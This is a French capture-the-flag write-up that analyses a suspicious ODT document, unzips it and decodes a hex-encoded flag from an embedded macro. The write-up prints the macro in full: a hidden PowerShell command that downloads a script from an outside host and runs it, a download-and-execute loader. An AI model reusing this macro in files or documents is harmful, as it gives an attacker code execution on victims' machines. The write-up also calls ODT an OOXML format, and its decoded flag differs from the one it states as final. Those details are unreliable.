[CTF GEMA] obf-1
CTF GEMA Groupe 2025
Niveau de Difficulté : Easy
Catégorie du Challenge : Malware
Description :
Un fichier suspect a été reçu et transmis à l'équipe chargée de la sécurité de l'information. Il vous a été demandé de l'examiner et de faire part de vos conclusions.
Steps to Solve
Le fichier fourni est un document ODT.
Les fichiers ODT suivent la norme OOXML, ce qui signifie qu'il s'agit essentiellement d'archives ZIP contenant plusieurs fichiers.
L'objectif est d'analyser le contenu du fichier afin d'identifier tout code malveillant ou information cachée et d'extraire le flag.
Step 1: Extracting File Contents
Nous commençons par décompresser le fichier en utilisant la commande unzip
:
unzip open.odt
Archive: open.odt
creating: Basic/
creating: Basic/Standard/
inflating: Basic/Standard/Module1.xml
inflating: Basic/script-lc.xml
creating: Configurations2/
inflating: content.xml
inflating: META-INF/manifest.xml
inflating: mimetype
inflating: settings.xml
Step 2: Reviewing Important Files
Basic/Standard/Module1.xml
En inspectant ce fichier, nous avons trouvé une macro potentiellement malveillante écrite en VBA.
La macro exécute des commandes PowerShell intégrées dans le code.
Macro Code Snippet:
Sub Exploit
Shell("cmd.exe /C powershell.exe -nop -w hidden -c $x=new-object net.webclient;$x.proxy=[Net.WebRequest]::GetSystemWebProxy();$x.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $x.downloadstring('http://10.10.14.9:8080/rH41wL');[STRiNg]::joIN('' , ('46:4C:41:47:7B:44:6F:6E:27:74:46:61:6C:6C:49:6E:54:68:69:73:54:72:61:70:7D' -SplIT':' | FOReACH { ( [CONVeRT]::TOint16( ( [StRinG]$_ ) , 16 )-As[cHAR]) }))|iex")
End Sub
Step 3: Analyzing the Code
La chaîne suivante est intégrée dans la macro et semble être codée en hexadécimal :
46:4C:41:47:7B:44:6F:6E:27:74:46:61:6C:6C:49:6E:54:68:69:73:54:72:61:70:7D
Nous pouvons décoder la chaîne en utilisant PowerShell avec la commande suivante :
[STRiNg]::joIN('' , ('46:4C:41:47:7B:44:6F:6E:27:74:46:61:6C:6C:49:6E:54:68:69:73:54:72:61:70:7D' -SplIT':' | FOReACH { ( [CONVeRT]::TOint16( ( [StRinG]$_ ) , 16 )-As[cHAR]) }))
Output:
FLAG{Don'tFallIntoThisTrap}
Flag :
FLAG{Don't_fall_into_this_trap}